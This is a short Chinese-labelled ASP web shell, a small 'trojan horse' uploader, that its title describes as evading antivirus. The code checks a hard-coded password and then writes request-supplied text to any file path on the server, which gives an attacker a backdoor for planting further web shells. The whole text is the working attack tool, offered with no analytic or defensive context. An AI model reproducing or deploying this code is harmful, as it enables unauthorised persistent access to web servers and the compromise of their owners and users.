 |
| 小坏专用全免ASP小马For Pass
<%
dim samllbad,pass
pass="a"
if request("action")="set" then
if request("pass")=pass then
Text=request("Text")
FileName=request("FileName")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath(FileName),8,True)
file.writeline Text
file.close
set file=nothing
set fs=nothing
response.write ("保存成功！")
end if
else
response.write ("密码错误！")
end if
%> |
|
